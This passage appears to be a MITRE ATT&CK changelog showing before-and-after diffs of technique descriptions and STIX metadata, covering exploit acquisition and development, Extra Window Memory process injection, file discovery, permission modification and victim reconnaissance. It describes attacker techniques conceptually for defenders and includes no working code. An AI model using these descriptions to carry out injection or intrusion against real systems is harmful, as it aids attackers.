| > | 3), [Exploitation for Privilege Escalation](https://attack.m | > | e Escalation](https://attack.mitre.org/techniques/T1068), [E | ||
| > | itre.org/techniques/T1068), [Exploitation for Defense Evasio | > | xploitation for Defense Evasion](https://attack.mitre.org/te | ||
| > | n](https://attack.mitre.org/techniques/T1211), [Exploitation | > | chniques/T1211), [Exploitation for Credential Access](https: | ||
| > | for Credential Access](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1212), [Exploitation of Remot | ||
| > | T1212), [Exploitation of Remote Services](https://attack.mit | > | e Services](https://attack.mitre.org/techniques/T1210), and | ||
| > | re.org/techniques/T1210), and [Application or System Exploit | > | [Application or System Exploitation](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1499/004)). | > | g/techniques/T1499/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 21:47:09.385000+00:00 | 2021-04-15 03:14:01.255000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop exploi | t | 1 | Adversaries may develop exploits that can be used during tar |
| > | ts that can be used during targeting. An exploit takes advan | > | geting. An exploit takes advantage of a bug or vulnerability | ||
| > | tage of a bug or vulnerability in order to cause unintended | > | in order to cause unintended or unanticipated behavior to o | ||
| > | or unanticipated behavior to occur on computer hardware or s | > | ccur on computer hardware or software. Rather than finding/m | ||
| > | oftware. Rather than finding/modifying exploits from online | > | odifying exploits from online or purchasing them from exploi | ||
| > | or purchasing them from exploit vendors, an adversary may de | > | t vendors, an adversary may develop their own exploits.(Cita | ||
| > | velop their own exploits.(Citation: NYTStuxnet) Adversaries | > | tion: NYTStuxnet) Adversaries may use information acquired v | ||
| > | may use information acquired via [Vulnerabilities](https://a | > | ia [Vulnerabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588/006) to focus exploit devel | > | 88/006) to focus exploit development efforts. As part of the | ||
| > | opment efforts. As part of the exploit development process, | > | exploit development process, adversaries may uncover exploi | ||
| > | adversaries may uncover exploitable vulnerabilities through | > | table vulnerabilities through methods such as fuzzing and pa | ||
| > | methods such as fuzzing and patch analysis.(Citation: Ironge | > | tch analysis.(Citation: Irongeek Sims BSides 2017) As with | ||
| > | ek Sims BSides 2017) As with legitimate development efforts | > | legitimate development efforts, different skill sets may be | ||
| > | , different skill sets may be required for developing exploi | > | required for developing exploits. The skills needed may be l | ||
| > | ts. The skills needed may be located in-house, or may need t | > | ocated in-house, or may need to be contracted out. Use of a | ||
| > | o be contracted out. Use of a contractor may be considered a | > | contractor may be considered an extension of that adversary' | ||
| > | n extension of that adversary's exploit development capabili | > | s exploit development capabilities, provided the adversary p | ||
| > | ties, provided the adversary plays a role in shaping require | > | lays a role in shaping requirements and maintains an initial | ||
| > | ments and maintains an initial degree of exclusivity to the | > | degree of exclusivity to the exploit. Adversaries may use | ||
| > | exploit. Adversaries may use exploits during various phases | > | exploits during various phases of the adversary lifecycle (i | ||
| > | of the adversary lifecycle (i.e. [Exploit Public-Facing App | > | .e. [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190), [Explo | > | .org/techniques/T1190), [Exploitation for Client Execution]( | ||
| > | itation for Client Execution](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1203), [Exploitation fo | ||
| > | iques/T1203), [Exploitation for Privilege Escalation](https: | > | r Privilege Escalation](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1068), [Exploitation for Defe | > | T1068), [Exploitation for Defense Evasion](https://attack.mi | ||
| > | nse Evasion](https://attack.mitre.org/techniques/T1211), [Ex | > | tre.org/techniques/T1211), [Exploitation for Credential Acce | ||
| > | ploitation for Credential Access](https://attack.mitre.org/t | > | ss](https://attack.mitre.org/techniques/T1212), [Exploitatio | ||
| > | echniques/T1212), [Exploitation of Remote Services](https:// | > | n of Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1210), and [Application or Syst | > | 210), and [Application or System Exploitation](https://attac | ||
| > | em Exploitation](https://attack.mitre.org/techniques/T1499/0 | > | k.mitre.org/techniques/T1499/004)). | ||
| > | 04)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 03:09:34.771000+00:00 | 2021-04-15 03:07:53.803000+00:00 |
| description | Before compromising a victim, adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via Extra | t | 1 | Adversaries may inject malicious code into process via Extra |
| > | Window Memory (EWM) in order to evade process-based defense | > | Window Memory (EWM) in order to evade process-based defense | ||
| > | s as well as possibly elevate privileges. EWM injection is a | > | s as well as possibly elevate privileges. EWM injection is a | ||
| > | method of executing arbitrary code in the address space of | > | method of executing arbitrary code in the address space of | ||
| > | a separate live process. Before creating a window, graphic | > | a separate live process. Before creating a window, graphic | ||
| > | al Windows-based processes must prescribe to or register a w | > | al Windows-based processes must prescribe to or register a w | ||
| > | indows class, which stipulate appearance and behavior (via w | > | indows class, which stipulate appearance and behavior (via w | ||
| > | indows procedures, which are functions that handle input/out | > | indows procedures, which are functions that handle input/out | ||
| > | put of data).(Citation: Microsoft Window Classes) Registrati | > | put of data).(Citation: Microsoft Window Classes) Registrati | ||
| > | on of new windows classes can include a request for up to 40 | > | on of new windows classes can include a request for up to 40 | ||
| > | bytes of EWM to be appended to the allocated memory of each | > | bytes of EWM to be appended to the allocated memory of each | ||
| > | instance of that class. This EWM is intended to store data | > | instance of that class. This EWM is intended to store data | ||
| > | specific to that window and has specific application program | > | specific to that window and has specific application program | ||
| > | ming interface (API) functions to set and get its value. (Ci | > | ming interface (API) functions to set and get its value. (Ci | ||
| > | tation: Microsoft GetWindowLong function) (Citation: Microso | > | tation: Microsoft GetWindowLong function) (Citation: Microso | ||
| > | ft SetWindowLong function) Although small, the EWM is large | > | ft SetWindowLong function) Although small, the EWM is large | ||
| > | enough to store a 32-bit pointer and is often used to point | > | enough to store a 32-bit pointer and is often used to point | ||
| > | to a windows procedure. Malware may possibly utilize this m | > | to a windows procedure. Malware may possibly utilize this m | ||
| > | emory location in part of an attack chain that includes writ | > | emory location in part of an attack chain that includes writ | ||
| > | ing code to shared sections of the process’s memory, placing | > | ing code to shared sections of the process’s memory, placing | ||
| > | a pointer to the code in EWM, then invoking execution by re | > | a pointer to the code in EWM, then invoking execution by re | ||
| > | turning execution control to the address in the process’s EW | > | turning execution control to the address in the process’s EW | ||
| > | M. Execution granted through EWM injection may allow access | > | M. Execution granted through EWM injection may allow access | ||
| > | to both the target process's memory and possibly elevated p | > | to both the target process's memory and possibly elevated p | ||
| > | rivileges. Writing payloads to shared sections also avoids t | > | rivileges. Writing payloads to shared sections also avoids t | ||
| > | he use of highly monitored API calls such as <code>WriteProc | > | he use of highly monitored API calls such as <code>WriteProc | ||
| > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | ||
| > | on: Endgame Process Injection July 2017) More sophisticated | > | on: Elastic Process Injection July 2017) More sophisticated | ||
| > | malware samples may also potentially bypass protection mecha | > | malware samples may also potentially bypass protection mecha | ||
| > | nisms such as data execution prevention (DEP) by triggering | > | nisms such as data execution prevention (DEP) by triggering | ||
| > | a combination of windows procedures and other system functio | > | a combination of windows procedures and other system functio | ||
| > | ns that will rewrite the malicious payload inside an executa | > | ns that will rewrite the malicious payload inside an executa | ||
| > | ble portion of the target process. (Citation: MalwareTech P | > | ble portion of the target process. (Citation: MalwareTech P | ||
| > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | ||
| > | yms Mar 2013) Running code in the context of another proces | > | yms Mar 2013) Running code in the context of another proces | ||
| > | s may allow access to the process's memory, system/network r | > | s may allow access to the process's memory, system/network r | ||
| > | esources, and possibly elevated privileges. Execution via EW | > | esources, and possibly elevated privileges. Execution via EW | ||
| > | M injection may also evade detection from security products | > | M injection may also evade detection from security products | ||
| > | since the execution is masked under a legitimate process. | > | since the execution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:26:33.191000+00:00 | 2020-11-10 18:29:31.004000+00:00 |
| description | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[4]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_detection | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017) | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may enumerate files and directories or may searc | t | 1 | Adversaries may enumerate files and directories or may searc |
| > | h in specific locations of a host or network share for certa | > | h in specific locations of a host or network share for certa | ||
| > | in information within a file system. Adversaries may use the | > | in information within a file system. Adversaries may use the | ||
| > | information from [File and Directory Discovery](https://att | > | information from [File and Directory Discovery](https://att | ||
| > | ack.mitre.org/techniques/T1083) during automated discovery t | > | ack.mitre.org/techniques/T1083) during automated discovery t | ||
| > | o shape follow-on behaviors, including whether or not the ad | > | o shape follow-on behaviors, including whether or not the ad | ||
| > | versary fully infects the target and/or attempts specific ac | > | versary fully infects the target and/or attempts specific ac | ||
| > | tions. Many command shell utilities can be used to obtain t | > | tions. Many command shell utilities can be used to obtain t | ||
| > | his information. Examples include <code>dir</code>, <code>tr | > | his information. Examples include <code>dir</code>, <code>tr | ||
| > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | ||
| > | ate</code>. (Citation: Windows Commands JPCERT) Custom tools | > | ate</code>.(Citation: Windows Commands JPCERT) Custom tools | ||
| > | may also be used to gather file and directory information a | > | may also be used to gather file and directory information an | ||
| > | nd interact with the [Native API](https://attack.mitre.org/t | > | d interact with the [Native API](https://attack.mitre.org/te | ||
| > | echniques/T1106). | > | chniques/T1106). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:02:16.770000+00:00 | 2021-08-23 20:44:32.048000+00:00 |
| description | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). |
| external_references[3]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: OS API Execution |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Modif | > | n perform which actions (read, write, execute, etc.). Modif | ||
| > | ications may include changing specific access rights, which | > | ications may include changing specific access rights, which | ||
| > | may require taking ownership of a file or directory and/or e | > | may require taking ownership of a file or directory and/or e | ||
| > | levated permissions depending on the file or directory’s exi | > | levated permissions depending on the file or directory’s exi | ||
| > | sting permissions. This may enable malicious activity such a | > | sting permissions. This may enable malicious activity such a | ||
| > | s modifying, replacing, or deleting specific files or direct | > | s modifying, replacing, or deleting specific files or direct | ||
| > | ories. Specific file and directory modifications may be a re | > | ories. Specific file and directory modifications may be a re | ||
| > | quired step for many techniques, such as establishing Persis | > | quired step for many techniques, such as establishing Persis | ||
| > | tence via [Accessibility Features](https://attack.mitre.org/ | > | tence via [Accessibility Features](https://attack.mitre.org/ | ||
| > | techniques/T1546/008), [Boot or Logon Initialization Scripts | > | techniques/T1546/008), [Boot or Logon Initialization Scripts | ||
| > | ](https://attack.mitre.org/techniques/T1037), [.bash_profile | > | ](https://attack.mitre.org/techniques/T1037), [Unix Shell Co | ||
| > | and .bashrc](https://attack.mitre.org/techniques/T1546/004) | > | nfiguration Modification](https://attack.mitre.org/technique | ||
| > | , or tainting/hijacking other instrumental binary/configurat | > | s/T1546/004), or tainting/hijacking other instrumental binar | ||
| > | ion files via [Hijack Execution Flow](https://attack.mitre.o | > | y/configuration files via [Hijack Execution Flow](https://at | ||
| > | rg/techniques/T1574). | > | tack.mitre.org/techniques/T1574). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:05:05.562000+00:00 | 2021-09-13 21:08:10.406000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[3] | Windows event logs | File: File Metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host f |
| > | tion about the victim's host firmware that can be used durin | > | irmware that can be used during targeting. Information about | ||
| > | g targeting. Information about host firmware may include a v | > | host firmware may include a variety of details such as type | ||
| > | ariety of details such as type and versions on specific host | > | and versions on specific hosts, which may be used to infer | ||
| > | s, which may be used to infer more information about hosts i | > | more information about hosts in the environment (ex: configu | ||
| > | n the environment (ex: configuration, purpose, age/patch lev | > | ration, purpose, age/patch level, etc.). Adversaries may ga | ||
| > | el, etc.). Adversaries may gather this information in vario | > | ther this information in various ways, such as direct elicit | ||
| > | us ways, such as direct elicitation via [Phishing for Inform | > | ation via [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598). Informati | > | g/techniques/T1598). Information about host firmware may onl | ||
| > | on about host firmware may only be exposed to adversaries vi | > | y be exposed to adversaries via online or other accessible d | ||
| > | a online or other accessible data sets (ex: job postings, ne | > | ata sets (ex: job postings, network maps, assessment reports | ||
| > | twork maps, assessment reports, resumes, or purchase invoice | > | , resumes, or purchase invoices).(Citation: ArsTechnica Inte | ||
| > | s).(Citation: ArsTechnica Intel) Gathering this information | > | l) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Search Open Websites/Doma | ||
| > | ex: [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593) or [Search O | ||
| > | techniques/T1593) or [Search Open Technical Databases](https | > | pen Technical Databases](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1596)), establishing operati | > | /T1596)), establishing operational resources (ex: [Develop C | ||
| > | onal resources (ex: [Develop Capabilities](https://attack.mi | > | apabilities](https://attack.mitre.org/techniques/T1587) or [ | ||
| > | tre.org/techniques/T1587) or [Obtain Capabilities](https://a | > | Obtain Capabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588)), and/or initial access (e | > | 88)), and/or initial access (ex: [Supply Chain Compromise](h | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1195) or [Exploit Public | ||
| > | ques/T1195) or [Exploit Public-Facing Application](https://a | > | -Facing Application](https://attack.mitre.org/techniques/T11 | ||
| > | ttack.mitre.org/techniques/T1190)). | > | 90)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:36.854000+00:00 | 2021-04-15 03:22:46.759000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's identi |
| > | tion about the victim's identity that can be used during tar | > | ty that can be used during targeting. Information about iden | ||
| > | geting. Information about identities may include a variety o | > | tities may include a variety of details, including personal | ||
| > | f details, including personal data (ex: employee names, emai | > | data (ex: employee names, email addresses, etc.) as well as | ||
| > | l addresses, etc.) as well as sensitive details such as cred | > | sensitive details such as credentials. Adversaries may gath | ||
